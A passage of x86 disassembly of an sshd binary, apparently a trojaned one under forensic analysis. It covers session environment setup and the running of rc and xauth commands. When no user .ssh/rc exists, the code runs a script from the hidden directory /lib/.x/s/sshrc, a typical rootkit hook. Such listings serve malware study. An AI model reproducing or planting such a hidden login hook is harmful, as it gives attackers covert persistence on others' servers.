0804d95f   0f 85 ef ff ff ff         jne     0804d954 <Unknown0020+0x20f>   ;-17 'xef xff xff xff' ""
0804d965   eb 03                     jmp     0804d96a <Unknown0020+0x225>
0804d967   90                        nop
0804d968   31 d2                     xor     %edx,%edx
0804d96a   80 fa 3d                  cmp     $0x3d,%dl
0804d96d   75 1a                     jne     0804d989 <Unknown0020+0x244>
0804d96f   8d 44 0e 01               lea     0x1(%esi,%ecx,1),%eax
0804d973   c6 04 0e 00               movb    $0x0,(%esi,%ecx,1)
0804d977   50                        push    %eax
0804d978   51                        push    %ecx
0804d979   8d 85 f4 fb ff ff         lea     0xfffffbf4(%ebp),%eax   ;-1036 'xf4 xfb xff xff' ""
0804d97f   50                        push    %eax
0804d980   57                        push    %edi
0804d981   e8 ea f9 ff ff            call    0804d370 <Unknown0016>
0804d986   83 c4 10                  add     $0x10,%esp
0804d989   8b 03                     mov     (%ebx),%eax
0804d98b   83 ec 0c                  sub     $0xc,%esp
0804d98e   ff 73 04                  pushl   0x4(%ebx)
0804d991   a3 bc 7b 07 08            mov     %eax,0x8077bbc   ;[in .data] 0 'x0 x0 x0 x0' ""
0804d996   e8 75 95 00 00            call    08056f10 <Unknown0172>
0804d99b   89 1c 24                  mov     %ebx,(%esp,1)
0804d99e   e8 6d 95 00 00            call    08056f10 <Unknown0172>
0804d9a3   a1 bc 7b 07 08            mov     0x8077bbc,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
0804d9a8   89 c3                     mov     %eax,%ebx
0804d9aa   83 c4 10                  add     $0x10,%esp
0804d9ad   85 db                     test    %ebx,%ebx
0804d9af   0f 85 8b ff ff ff         jne     0804d940 <Unknown0020+0x1fb>   ;-117 'x8b xff xff xff' ""
0804d9b5   83 ec 08                  sub     $0x8,%esp
0804d9b8   ff 35 60 db 07 08         pushl   0x807db60   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d9be   ff b5 d8 fb ff ff         pushl   0xfffffbd8(%ebp)   ;-1064 'xd8 xfb xff xff' ""
0804d9c4   ff b5 dc fb ff ff         pushl   0xfffffbdc(%ebp)   ;-1060 'xdc xfb xff xff' ""
0804d9ca   68 54 d5 06 08            push    $0x806d554   ;[in .rodata] 808791589 'x25 x2e x35 x30' "%.50s %d %d"
0804d9cf   68 00 01 00 00            push    $0x100   ;256 'x0 x1 x0 x0' ""
0804d9d4   8d b5 e8 fe ff ff         lea     0xfffffee8(%ebp),%esi   ;-280 'xe8 xfe xff xff' ""
0804d9da   56                        push    %esi
0804d9db   e8 fc c8 ff ff            call    0804a2dc <snprintf>
0804d9e0   83 c4 20                  add     $0x20,%esp
0804d9e3   56                        push    %esi
0804d9e4   68 60 d5 06 08            push    $0x806d560   ;[in .rodata] 1598575443 'x53 x53 x48 x5f' "SSH_CLIENT"
0804d9e9   8d 95 f4 fb ff ff         lea     0xfffffbf4(%ebp),%edx   ;-1036 'xf4 xfb xff xff' ""
0804d9ef   52                        push    %edx
0804d9f0   57                        push    %edi
0804d9f1   e8 7a f9 ff ff            call    0804d370 <Unknown0016>
0804d9f6   8b 4d 20                  mov     0x20(%ebp),%ecx
0804d9f9   83 c4 10                  add     $0x10,%esp
0804d9fc   85 c9                     test    %ecx,%ecx
0804d9fe   74 18                     je      0804da18 <Unknown0020+0x2d3>
0804da00   ff 75 20                  pushl   0x20(%ebp)
0804da03   68 6b d5 06 08            push    $0x806d56b   ;[in .rodata] 1598575443 'x53 x53 x48 x5f' "SSH_TTY"
```

```
0804da08  8d 85 f4 fb ff ff    lea     0xfffffbf4(%ebp),%eax  ;-1036 'xf4 xfb xff xff' ""
0804da0e  50                   push    %eax
0804da0f  57                   push    %edi
0804da10  e8 5b f9 ff ff       call    0804d370 <Unknown0016>
0804da15  83 c4 10             add     $0x10,%esp
0804da18  8b 55 10             mov     0x10(%ebp),%edx
0804da1b  85 d2                test    %edx,%edx
0804da1d  74 18                je      0804da37 <Unknown0020+0x2f2>
0804da1f  ff 75 10             pushl   0x10(%ebp)
0804da22  68 73 d5 06 08       push    $0x806d573  ;[in .rodata] 1297237332 'x54 x45 x52 x4d' "TERM"
0804da27  8d 95 f4 fb ff ff    lea     0xfffffbf4(%ebp),%edx  ;-1036 'xf4 xfb xff xff' ""
0804da2d  52                   push    %edx
0804da2e  57                   push    %edi
0804da2f  e8 3c f9 ff ff       call    0804d370 <Unknown0016>
0804da34  83 c4 10             add     $0x10,%esp
0804da37  8b 45 14             mov     0x14(%ebp),%eax
0804da3a  85 c0                test    %eax,%eax
0804da3c  74 18                je      0804da56 <Unknown0020+0x311>
0804da3e  ff 75 14             pushl   0x14(%ebp)
0804da41  68 78 d5 06 08       push    $0x806d578  ;[in .rodata] 1347635524 'x44 x49 x53 x50' "DISPLAY"
0804da46  8d 85 f4 fb ff ff    lea     0xfffffbf4(%ebp),%eax  ;-1036 'xf4 xfb xff xff' ""
0804da4c  50                   push    %eax
0804da4d  57                   push    %edi
0804da4e  e8 1d f9 ff ff       call    0804d370 <Unknown0016>
0804da53  83 c4 10             add     $0x10,%esp
0804da56  a1 1c fc 07 08       mov     0x807fc1c,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804da5b  85 c0                test    %eax,%eax
0804da5d  74 16                je      0804da75 <Unknown0020+0x330>
0804da5f  50                   push    %eax
0804da60  68 80 d5 06 08       push    $0x806d580  ;[in .rodata] 1330464082 'x52 x45 x4d x4f' "REMOTEUSER"
0804da65  8d 95 f4 fb ff ff    lea     0xfffffbf4(%ebp),%edx  ;-1036 'xf4 xfb xff xff' ""
0804da6b  52                   push    %edx
0804da6c  57                   push    %edi
0804da6d  e8 fe f8 ff ff       call    0804d370 <Unknown0016>
0804da72  83 c4 10             add     $0x10,%esp
0804da75  e8 66 c7 00 00       call    0805a1e0 <Unknown0215>
0804da7a  85 c0                test    %eax,%eax
0804da7c  74 1b                je      0804da99 <Unknown0020+0x354>
0804da7e  e8 5d c7 00 00       call    0805a1e0 <Unknown0215>
0804da83  50                   push    %eax
0804da84  68 8b d5 06 08       push    $0x806d58b  ;[in .rodata] 1598575443 'x53 x53 x48 x5f'
                                                                "SSH_AUTH_SOCK"
0804da89  8d 85 f4 fb ff ff    lea     0xfffffbf4(%ebp),%eax  ;-1036 'xf4 xfb xff xff' ""
0804da8f  50                   push    %eax
0804da90  57                   push    %edi
0804da91  e8 da f8 ff ff       call    0804d370 <Unknown0016>
0804da96  83 c4 10             add     $0x10,%esp
0804da99  53                   push    %ebx
0804da9a  68 99 d5 06 08       push    $0x806d599  ;[in .rodata] 1668572463 'x2f x65 x74 x63'
                                                                "/etc/environment"
0804da9f  8d 95 f4 fb ff ff    lea     0xfffffbf4(%ebp),%edx  ;-1036 'xf4 xfb xff xff' ""
0804daa5  52                   push    %edx
0804daa6  57                   push    %edi
0804daa7  e8 c4 f9 ff ff       call    0804d470 <Unknown0017>
0804daac  ff b5 e4 fb ff ff    pushl   0xfffffbe4(%ebp)  ;-1052 'xe4 xfb xff xff' ""
0804dab2  68 aa d5 06 08       push    $0x806d5aa  ;[in .rodata] 808594981 'x25 x2e x32 x30'
                                                                "%.200s/.ssh/environment"
0804dab7  68 00 01 00 00       push    $0x100  ;256 'x0 x1 x0 x0' ""
0804dabc  56                   push    %esi
0804dabd  e8 1a c8 ff ff       call    0804a2dc <snprintf>
0804dac2  83 c4 1c             add     $0x1c,%esp
0804dac5  56                   push    %esi
0804dac6  8d 85 f4 fb ff ff    lea     0xfffffbf4(%ebp),%eax  ;-1036 'xf4 xfb xff xff' ""
0804dacc  50                   push    %eax
0804dacd  8d 85 f0 fb ff ff    lea     0xfffffbf0(%ebp),%eax  ;-1040 'xf0 xfb xff xff' ""
0804dad3  50                   push    %eax
0804dad4  e8 97 f9 ff ff       call    0804d470 <Unknown0017>
0804dad9  59                   pop     %ecx
0804dada  ff b5 e4 fb ff ff    pushl   0xfffffbe4(%ebp)  ;-1052 'xe4 xfb xff xff' ""
0804dae0  e8 d7 c5 ff ff       call    0804a0bc <chdir>
0804dae5  83 c4 10             add     $0x10,%esp
0804dae8  85 c0                test    %eax,%eax
0804daea  79 2d                jns     0804db19 <Unknown0020+0x3d4>
0804daec  83 ec 10             sub     $0x10,%esp
0804daef  e8 48 c3 ff ff       call    08049e3c <__errno_location>
0804daf4  5a                   pop     %edx
0804daf5  ff 30                pushl   (%eax)
0804daf7  e8 f0 c2 ff ff       call    08049dec <strerror>
0804dafc  83 c4 10             add     $0x10,%esp
0804daff  50                   push    %eax
0804db00  ff b5 e4 fb ff ff    pushl   0xfffffbe4(%ebp)  ;-1052 'xe4 xfb xff xff' ""
0804db06  68 e0 d5 06 08       push    $0x806d5e0  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                                chdir to home directory %s: %s"
0804db0b  ff 35 0c 9c 07 08    pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
```

(Red Hat Linux 7.1 2.96-79)"

```
0804db11   e8 e6 c1 ff ff        call     08049cfc <fprintf>
0804db16   83 c4 10              add      $0x10,%esp
0804db19   8b 3d 94 7b 07 08     mov      0x8077b94,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804db1f   85 ff                 test     %edi,%edi
0804db21   74 64                 je       0804db87 <Unknown0020+0x442>
0804db23   83 ec 08              sub      $0x8,%esp
0804db26   68 0a d6 06 08        push     $0x806d60a   ;[in .rodata] 1769369157 'x45 x6e x76 x69'
                                                          "Environment:"
0804db2b   ff 35 0c 9c 07 08     pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804db31   e8 c6 c1 ff ff        call     08049cfc <fprintf>
0804db36   8b 85 f0 fb ff ff     mov      0xfffffbf0(%ebp),%eax   ;-1040 'xf0 xfb xff xff' ""
0804db3c   8b 30                 mov      (%eax),%esi
0804db3e   31 db                 xor      %ebx,%ebx
0804db40   83 c4 10              add      $0x10,%esp
0804db43   85 f6                 test     %esi,%esi
0804db45   74 2a                 je       0804db71 <Unknown0020+0x42c>
0804db47   90                    nop
0804db48   51                    push     %ecx
0804db49   ff 34 98              pushl    (%eax,%ebx,4)
0804db4c   68 18 d6 06 08        push     $0x806d618   ;[in .rodata] 774184992 'x20 x20 x25 x2e' "  %.200s"
0804db51   ff 35 0c 9c 07 08     pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804db57   43                    inc      %ebx
0804db58   e8 9f c1 ff ff        call     08049cfc <fprintf>
0804db5d   8b 85 f0 fb ff ff     mov      0xfffffbf0(%ebp),%eax   ;-1040 'xf0 xfb xff xff' ""
0804db63   8b 14 98              mov      (%eax,%ebx,4),%edx
0804db66   83 c4 10              add      $0x10,%esp
0804db69   85 d2                 test     %edx,%edx
0804db6b   0f 85 d7 ff ff ff     jne      0804db48 <Unknown0020+0x403>   ;-41 'xd7 xff xff xff' ""
0804db71   83 ec 08              sub      $0x8,%esp
0804db74   68 af bd 06 08        push     $0x806bdaf   ;[in .rodata] 1866661898 'xa x0 x43 x6f' ""
0804db79   ff 35 0c 9c 07 08     pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804db7f   e8 78 c1 ff ff        call     08049cfc <fprintf>
0804db84   83 c4 10              add      $0x10,%esp
0804db87   57                    push     %edi
0804db88   8d 9d 88 fe ff ff     lea      0xfffffe88(%ebp),%ebx   ;-376 'x88 xfe xff xff' ""
0804db8e   53                    push     %ebx
0804db8f   68 22 d6 06 08        push     $0x806d622   ;[in .rodata] 1752396590 'x2e x73 x73 x68' ".ssh/rc"
0804db94   8b 85 f0 fb ff ff     mov      0xfffffbf0(%ebp),%eax   ;-1040 'xf0 xfb xff xff' ""
0804db9a   6a 03                 push     $0x3
0804db9c   a3 04 9c 07 08        mov      %eax,0x8079c04   ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                          2.96 20000731 (Red Hat Linux 7.1 2.96-79)"
0804dba1   e8 86 c4 ff ff        call     0804a02c <__xstat>
0804dba6   83 c4 10              add      $0x10,%esp
0804dba9   85 c0                 test     %eax,%eax
0804dbab   0f 88 ab 00 00 00     js       0804dc5c <Unknown0020+0x517>   ;171 'xab x0 x0 x0' ""
0804dbb1   83 ec 0c              sub      $0xc,%esp
0804dbb4   68 22 d6 06 08        push     $0x806d622   ;[in .rodata] 1752396590 'x2e x73 x73 x68' ".ssh/rc"
0804dbb9   ff b5 ec fb ff ff     pushl    0xfffffbec(%ebp)   ;-1044 'xec xfb xff xff' ""
0804dbbf   68 a9 c3 06 08        push     $0x806c3a9   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s
                                                          %.100s"
0804dbc4   68 00 01 00 00        push     $0x100   ;256 'x0 x1 x0 x0' ""
0804dbc9   8d 9d e8 fe ff ff     lea      0xfffffee8(%ebp),%ebx   ;-280 'xe8 xfe xff xff' ""
0804dbcf   53                    push     %ebx
0804dbd0   e8 07 c7 ff ff        call     0804a2dc <snprintf>
0804dbd5   8b 35 94 7b 07 08     mov      0x8077b94,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804dbdb   83 c4 20              add      $0x20,%esp
0804dbde   85 f6                 test     %esi,%esi
0804dbe0   74 15                 je       0804dbf7 <Unknown0020+0x4b2>
0804dbe2   51                    push     %ecx
0804dbe3   53                    push     %ebx
0804dbe4   68 2a d6 06 08        push     $0x806d62a   ;[in .rodata] 1852732754 'x52 x75 x6e x6e' "Running %s"
0804dbe9   ff 35 0c 9c 07 08     pushl    0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804dbef   e8 08 c1 ff ff        call     08049cfc <fprintf>
0804dbf4   83 c4 10              add      $0x10,%esp
0804dbf7   83 ec 08              sub      $0x8,%esp
0804dbfa   68 c0 bc 06 08        push     $0x806bcc0   ;[in .rodata] 1965359223 'x77 x0 x25 x75' "w"
0804dbff   53                    push     %ebx
0804dc00   e8 d7 c2 ff ff        call     08049edc <popen>
0804dc05   89 c6                 mov      %eax,%esi
0804dc07   83 c4 10              add      $0x10,%esp
0804dc0a   85 f6                 test     %esi,%esi
0804dc0c   74 32                 je       0804dc40 <Unknown0020+0x4fb>
0804dc0e   8b 55 18              mov      0x18(%ebp),%edx
0804dc11   85 d2                 test     %edx,%edx
0804dc13   74 1b                 je       0804dc30 <Unknown0020+0x4eb>
0804dc15   8b 45 1c              mov      0x1c(%ebp),%eax
0804dc18   85 c0                 test     %eax,%eax
0804dc1a   74 14                 je       0804dc30 <Unknown0020+0x4eb>
```

```
0804dc1c  ff 75 1c                 pushl  0x1c(%ebp)
0804dc1f  ff 75 18                 pushl  0x18(%ebp)
0804dc22  68 36 d6 06 08           push   $0x806d636   ;[in .rodata] 622883621 'x25 x73 x20 x25' "%s %s"
0804dc27  56                       push   %esi
0804dc28  e8 cf c0 ff ff           call   08049cfc <fprintf>
0804dc2d  83 c4 10                 add    $0x10,%esp
0804dc30  83 ec 0c                 sub    $0xc,%esp
0804dc33  56                       push   %esi
0804dc34  e8 13 c1 ff ff           call   08049d4c <pclose>
0804dc39  e9 d0 02 00 00           jmp    0804df0e <Unknown0020+0x7c9>   ;720 'xd0 x2 x0 x0' ""
0804dc3e  89 f6                    mov    %esi,%esi
0804dc40  57                       push   %edi
0804dc41  68 22 d6 06 08           push   $0x806d622   ;[in .rodata] 1752396590 'x2e x73 x73 x68' ".ssh/rc"
0804dc46  68 3d d6 06 08           push   $0x806d63d   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                          run %s"
0804dc4b  ff 35 0c 9c 07 08        pushl  0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804dc51  e8 a6 c0 ff ff           call   08049cfc <fprintf>
0804dc56  e9 b3 02 00 00           jmp    0804df0e <Unknown0020+0x7c9>   ;691 'xb3 x2 x0 x0' ""
0804dc5b  90                       nop
0804dc5c  56                       push   %esi
0804dc5d  53                       push   %ebx
0804dc5e  68 4f d6 06 08           push   $0x806d64f   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                          "/lib/.x/s/sshrc"
0804dc63  6a 03                    push   $0x3
0804dc65  e8 c2 c3 ff ff           call   0804a02c <__xstat>
0804dc6a  83 c4 10                 add    $0x10,%esp
0804dc6d  85 c0                    test   %eax,%eax
0804dc6f  0f 88 ab 00 00 00        js     0804dd20 <Unknown0020+0x5db>   ;171 'xab x0 x0 x0' ""
0804dc75  83 ec 0c                 sub    $0xc,%esp
0804dc78  68 4f d6 06 08           push   $0x806d64f   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                          "/lib/.x/s/sshrc"
0804dc7d  68 a6 d4 06 08           push   $0x806d4a6   ;[in .rodata] 1852400175 'x2f x62 x69 x6e' "/bin/sh"
0804dc82  68 a9 c3 06 08           push   $0x806c3a9   ;[in .rodata] 808529445 'x25 x2e x31 x30' "%.100s
                                                          %.100s"
0804dc87  68 00 01 00 00           push   $0x100   ;256 'x0 x1 x0 x0' ""
0804dc8c  8d 9d e8 fe ff ff        lea    0xfffffee8(%ebp),%ebx   ;-280 'xe8 xfe xff xff' ""
0804dc92  53                       push   %ebx
0804dc93  e8 44 c6 ff ff           call   0804a2dc <snprintf>
0804dc98  8b 0d 94 7b 07 08        mov    0x8077b94,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804dc9e  83 c4 20                 add    $0x20,%esp
0804dca1  85 c9                    test   %ecx,%ecx
0804dca3  74 15                    je     0804dcba <Unknown0020+0x575>
0804dca5  52                       push   %edx
0804dca6  53                       push   %ebx
0804dca7  68 2a d6 06 08           push   $0x806d62a   ;[in .rodata] 1852732754 'x52 x75 x6e x6e' "Running %s"
0804dcac  ff 35 0c 9c 07 08        pushl  0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804dcb2  e8 45 c0 ff ff           call   08049cfc <fprintf>
0804dcb7  83 c4 10                 add    $0x10,%esp
0804dcba  83 ec 08                 sub    $0x8,%esp
0804dcbd  68 c0 bc 06 08           push   $0x806bcc0   ;[in .rodata] 1965359223 'x77 x0 x25 x75' "w"
0804dcc2  53                       push   %ebx
0804dcc3  e8 14 c2 ff ff           call   08049edc <popen>
0804dcc8  89 c6                    mov    %eax,%esi
0804dcca  83 c4 10                 add    $0x10,%esp
0804dccd  85 f6                    test   %esi,%esi
0804dccf  74 33                    je     0804dd04 <Unknown0020+0x5bf>
0804dcd1  8b 45 18                 mov    0x18(%ebp),%eax
0804dcd4  85 c0                    test   %eax,%eax
0804dcd6  74 1b                    je     0804dcf3 <Unknown0020+0x5ae>
0804dcd8  8b 7d 1c                 mov    0x1c(%ebp),%edi
0804dcdb  85 ff                    test   %edi,%edi
0804dcdd  74 14                    je     0804dcf3 <Unknown0020+0x5ae>
0804dcdf  ff 75 1c                 pushl  0x1c(%ebp)
0804dce2  ff 75 18                 pushl  0x18(%ebp)
0804dce5  68 36 d6 06 08           push   $0x806d636   ;[in .rodata] 622883621 'x25 x73 x20 x25' "%s %s"
0804dcea  56                       push   %esi
0804dceb  e8 0c c0 ff ff           call   08049cfc <fprintf>
0804dcf0  83 c4 10                 add    $0x10,%esp
0804dcf3  83 ec 0c                 sub    $0xc,%esp
0804dcf6  56                       push   %esi
0804dcf7  e8 50 c0 ff ff           call   08049d4c <pclose>
0804dcfc  e9 0d 02 00 00           jmp    0804df0e <Unknown0020+0x7c9>   ;525 'xd x2 x0 x0' ""
0804dd01  8d 76 00                 lea    0x0(%esi),%esi
0804dd04  53                       push   %ebx
0804dd05  68 4f d6 06 08           push   $0x806d64f   ;[in .rodata] 1651076143 'x2f x6c x69 x62'
                                                          "/lib/.x/s/sshrc"
0804dd0a  68 3d d6 06 08           push   $0x806d63d   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                          run %s"
0804dd0f  ff 35 0c 9c 07 08        pushl  0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804dd15  e8 e2 bf ff ff           call   08049cfc <fprintf>
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0804dd1a   e9 ef 01 00 00          jmp     0804df0e <Unknown0020+0x7c9>  ;495 'xef x1 x0 x0' ""
0804dd1f   90                      nop
0804dd20   8b 4d 18                mov     0x18(%ebp),%ecx
0804dd23   85 c9                   test    %ecx,%ecx
0804dd25   0f 84 e6 01 00 00       je      0804df11 <Unknown0020+0x7cc>  ;486 'xe6 x1 x0 x0' ""
0804dd2b   8b 55 1c                mov     0x1c(%ebp),%edx
0804dd2e   85 d2                   test    %edx,%edx
0804dd30   0f 84 db 01 00 00       je      0804df11 <Unknown0020+0x7cc>  ;475 'xdb x1 x0 x0' ""
0804dd36   50                      push    %eax
0804dd37   68 ff 00 00 00          push    $0xff   ;255 'xff x0 x0 x0' ""
0804dd3c   ff 75 14                pushl   0x14(%ebp)
0804dd3f   8d 9d 58 fd ff ff       lea     0xfffffd58(%ebp),%ebx  ;-680 'x58 xfd xff xff' "X"
0804dd45   53                      push    %ebx
0804dd46   e8 81 c6 ff ff          call    0804a3cc <strncpy>
0804dd4b   5e                      pop     %esi
0804dd4c   5f                      pop     %edi
0804dd4d   6a 3a                   push    $0x3a
0804dd4f   53                      push    %ebx
0804dd50   c6 85 56 fe ff ff 00    movb    $0x0,0xfffffe56(%ebp)  ;-426 'x56 xfe xff xff' "V"
0804dd57   e8 00 bf ff ff          call    08049c5c <strchr>
0804dd5c   83 c4 10                add     $0x10,%esp
0804dd5f   85 c0                   test    %eax,%eax
0804dd61   74 03                   je      0804dd66 <Unknown0020+0x621>
0804dd63   c6 00 00                movb    $0x0,(%eax)
0804dd66   8b 0d 94 7b 07 08       mov     0x8077b94,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804dd6c   85 c9                   test    %ecx,%ecx
0804dd6e   74 25                   je      0804dd95 <Unknown0020+0x650>
0804dd70   83 ec 08                sub     $0x8,%esp
0804dd73   ff 75 1c                pushl   0x1c(%ebp)
0804dd76   ff 75 18                pushl   0x18(%ebp)
0804dd79   ff 75 14                pushl   0x14(%ebp)
0804dd7c   ff 35 10 fc 07 08       pushl   0x807fc10  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804dd82   68 60 d6 06 08          push    $0x806d660  ;[in .rodata] 1852732754 'x52 x75 x6e x6e' "Running
                                                        %.100s add %.100s %.100s %.100s"
0804dd87   ff 35 0c 9c 07 08       pushl   0x8079c0c  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804dd8d   e8 6a bf ff ff          call    08049cfc <fprintf>
0804dd92   83 c4 20                add     $0x20,%esp
0804dd95   83 ec 08                sub     $0x8,%esp
0804dd98   6a 01                   push    $0x1
0804dd9a   6a 0d                   push    $0xd
0804dd9c   e8 9b bf ff ff          call    08049d3c <signal>
0804dda1   89 1c 24                mov     %ebx,(%esp,1)
0804dda4   e8 73 c5 ff ff          call    0804a31c <gethostbyname>
0804dda9   ff 35 10 fc 07 08       pushl   0x807fc10  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ddaf   68 89 d6 06 08          push    $0x806d689  ;[in .rodata] 808594981 'x25 x2e x32 x30' "%.200s -q -"
0804ddb4   68 00 01 00 00          push    $0x100   ;256 'x0 x1 x0 x0' ""
0804ddb9   8d 9d 58 fc ff ff       lea     0xfffffc58(%ebp),%ebx  ;-936 'x58 xfc xff xff' "X"
0804ddbf   53                      push    %ebx
0804ddc0   89 85 d4 fb ff ff       mov     %eax,0xfffffbd4(%ebp)  ;-1068 'xd4 xfb xff xff' ""
0804ddc6   e8 11 c5 ff ff          call    0804a2dc <snprintf>
0804ddcb   83 c4 18                add     $0x18,%esp
0804ddce   68 c0 bc 06 08          push    $0x806bcc0  ;[in .rodata] 1965359223 'x77 x0 x25 x75' "w"
0804ddd3   53                      push    %ebx
0804ddd4   e8 03 c1 ff ff          call    08049edc <popen>
0804ddd9   89 c6                   mov     %eax,%esi
0804dddb   83 c4 10                add     $0x10,%esp
0804ddde   85 f6                   test    %esi,%esi
0804dde0   0f 84 02 01 00 00       je      0804dee8 <Unknown0020+0x7a3>  ;258 'x2 x1 x0 x0' ""
0804dde6   83 ec 0c                sub     $0xc,%esp
0804dde9   ff 75 1c                pushl   0x1c(%ebp)
0804ddec   ff 75 18                pushl   0x18(%ebp)
0804ddef   ff 75 14                pushl   0x14(%ebp)
0804ddf2   68 95 d6 06 08          push    $0x806d695  ;[in .rodata] 543450209 'x61 x64 x64 x20' "add %s %s
                                                        %s"
0804ddf7   56                      push    %esi
0804ddf8   e8 ff be ff ff          call    08049cfc <fprintf>
0804ddfd   83 c4 18                add     $0x18,%esp
0804de00   6a 3a                   push    $0x3a
0804de02   ff 75 14                pushl   0x14(%ebp)
0804de05   e8 52 be ff ff          call    08049c5c <strchr>
0804de0a   89 c7                   mov     %eax,%edi
0804de0c   83 c4 10                add     $0x10,%esp
0804de0f   85 ff                   test    %edi,%edi
0804de11   0f 84 c4 00 00 00       je      0804dedb <Unknown0020+0x796>  ;196 'xc4 x0 x0 x0' ""
0804de17   52                      push    %edx
0804de18   ff 75 1c                pushl   0x1c(%ebp)
0804de1b   ff 75 18                pushl   0x18(%ebp)
0804de1e   57                      push    %edi
0804de1f   ff 75 14                pushl   0x14(%ebp)
0804de22   2b 45 14                sub     0x14(%ebp),%eax
0804de25   50                      push    %eax
0804de26   68 a3 d6 06 08          push    $0x806d6a3  ;[in .rodata] 543450209 'x61 x64 x64 x20' "add
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%.*s/unix%s %s %s"

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0804de2b  56                          push    %esi
0804de2c  e8 cb be ff ff              call    08049cfc <fprintf>
0804de31  8b 9d d4 fb ff ff           mov     0xfffffbd4(%ebp),%ebx   ;-1068 'xd4 xfb xff xff' ""
0804de37  83 c4 20                    add     $0x20,%esp
0804de3a  85 db                       test    %ebx,%ebx
0804de3c  0f 84 99 00 00 00           je      0804dedb <Unknown0020+0x796>   ;153 'x99 x0 x0 x0' ""
0804de42  8b 95 d4 fb ff ff           mov     0xfffffbd4(%ebp),%edx   ;-1068 'xd4 xfb xff xff' ""
0804de48  8b 42 10                    mov     0x10(%edx),%eax
0804de4b  8b 08                       mov     (%eax),%ecx
0804de4d  31 db                       xor     %ebx,%ebx
0804de4f  85 c9                       test    %ecx,%ecx
0804de51  0f 84 84 00 00 00           je      0804dedb <Unknown0020+0x796>   ;132 'x84 x0 x0 x0' ""
0804de57  90                          nop
0804de58  8b 15 94 7b 07 08           mov     0x8077b94,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804de5e  85 d2                       test    %edx,%edx
0804de60  74 3b                       je      0804de9d <Unknown0020+0x758>
0804de62  51                          push    %ecx
0804de63  ff 75 1c                    pushl   0x1c(%ebp)
0804de66  ff 75 18                    pushl   0x18(%ebp)
0804de69  57                          push    %edi
0804de6a  83 ec 0c                    sub     $0xc,%esp
0804de6d  8b 04 98                    mov     (%eax,%ebx,4),%eax
0804de70  ff 30                       pushl   (%eax)
0804de72  e8 35 c0 ff ff              call    08049eac <inet_ntoa>
0804de77  83 c4 10                    add     $0x10,%esp
0804de7a  50                          push    %eax
0804de7b  ff 35 10 fc 07 08           pushl   0x807fc10   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804de81  68 ba d6 06 08              push    $0x806d6ba  ;[in .rodata] 1852732754 'x52 x75 x6e x6e' "Running %s
                                                             add %s%s %s %s"
0804de86  ff 35 0c 9c 07 08           pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                             (Red Hat Linux 7.1 2.96-79)"
0804de8c  e8 6b be ff ff              call    08049cfc <fprintf>
0804de91  8b 95 d4 fb ff ff           mov     0xfffffbd4(%ebp),%edx   ;-1068 'xd4 xfb xff xff' ""
0804de97  83 c4 20                    add     $0x20,%esp
0804de9a  8b 42 10                    mov     0x10(%edx),%eax
0804de9d  83 ec 08                    sub     $0x8,%esp
0804dea0  ff 75 1c                    pushl   0x1c(%ebp)
0804dea3  ff 75 18                    pushl   0x18(%ebp)
0804dea6  57                          push    %edi
0804dea7  83 ec 08                    sub     $0x8,%esp
0804deaa  8b 04 98                    mov     (%eax,%ebx,4),%eax
0804dead  ff 30                       pushl   (%eax)
0804deaf  e8 f8 bf ff ff              call    08049eac <inet_ntoa>
0804deb4  83 c4 0c                    add     $0xc,%esp
0804deb7  50                          push    %eax
0804deb8  68 d5 d6 06 08              push    $0x806d6d5  ;[in .rodata] 543450209 'x61 x64 x64 x20' "add %s%s %s
                                                             %s"
0804debd  56                          push    %esi
0804debe  e8 39 be ff ff              call    08049cfc <fprintf>
0804dec3  8b 95 d4 fb ff ff           mov     0xfffffbd4(%ebp),%edx   ;-1068 'xd4 xfb xff xff' ""
0804dec9  43                          inc     %ebx
0804deca  8b 42 10                    mov     0x10(%edx),%eax
0804decd  8b 14 98                    mov     (%eax,%ebx,4),%edx
0804ded0  83 c4 20                    add     $0x20,%esp
0804ded3  85 d2                       test    %edx,%edx
0804ded5  0f 85 7d ff ff ff           jne     0804de58 <Unknown0020+0x713>   ;-131 'x7d xff xff xff' "}"
0804dedb  83 ec 0c                    sub     $0xc,%esp
0804dede  56                          push    %esi
0804dedf  e8 68 be ff ff              call    08049d4c <pclose>
0804dee4  eb 19                       jmp     0804deff <Unknown0020+0x7ba>
0804dee6  89 f6                       mov     %esi,%esi
